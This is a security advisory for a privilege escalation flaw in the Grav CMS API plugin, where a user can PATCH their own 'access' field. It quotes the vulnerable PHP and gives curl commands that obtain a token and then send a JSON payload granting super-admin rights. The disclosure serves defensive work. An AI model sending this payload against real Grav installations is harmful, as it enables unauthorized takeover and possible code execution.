Summary

An insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE.

Details

The vulnerability is located in user/plugins/api/classes/Api/Controllers/UsersController.php within the update method.

The API allows users to update their own profiles if they possess the basic api.access permission:

// UsersController.php -> update()
$isSelf = $currentUser->username === $username;
if (!$isSelf) {
    $this->requirePermission($request, 'api.users.write');
} else {
    // Self-edit only requires api.access
    $this->requirePermission($request, 'api.access');
}

However, when filtering the fields that are allowed to be updated via a PATCH request, the access field (which defines the user's role and permissions) is indiscriminately included in the $allowedFields whitelist for all users:

// Partial update - only update provided fields
$allowedFields = ['email', 'fullname', 'title', 'state', 'language', 'content_editor', 'access', 'twofa_enabled'];
foreach ($allowedFields as $field) {
    if (array_key_exists($field, $body)) {
        $user->set($field, $body[$field]);
    }
}

Because there is no secondary check to verify if the user attempting to modify the access field is already an administrator, any low-privileged user can overwrite their own access object with a malicious payload granting themselves super: true.

PoC

1. Prerequisites: You need a low-privileged user account (eg. user1) that possesses the basic api.access permission.

2. Obtain JWT: Authenticate to the API to obtain your access_token:

   curl -X POST http://<target>/api/v1/auth/token \
     -H "Content-Type: application/json" \
     -d '{"username":"user1","password":"your_password"}'

3. Exploit: Send a PATCH request to the user update endpoint.

   curl -X PATCH http://<target>/api/v1/users/user1 \
     -H "X-API-Token: <your_access_token>" \
     -H "Content-Type: application/json" \
     -d "{\"access\":{\"admin\":{\"login\":true,\"super\":true},\"api\":{\"access\":true,\"super\":true},\"site\":{\"login\":true}}}"

4. Verification: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges.

Impact

This is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.

References

• GHSA-r945-h4vm-h736
• getgrav/grav-plugin-api@26f529c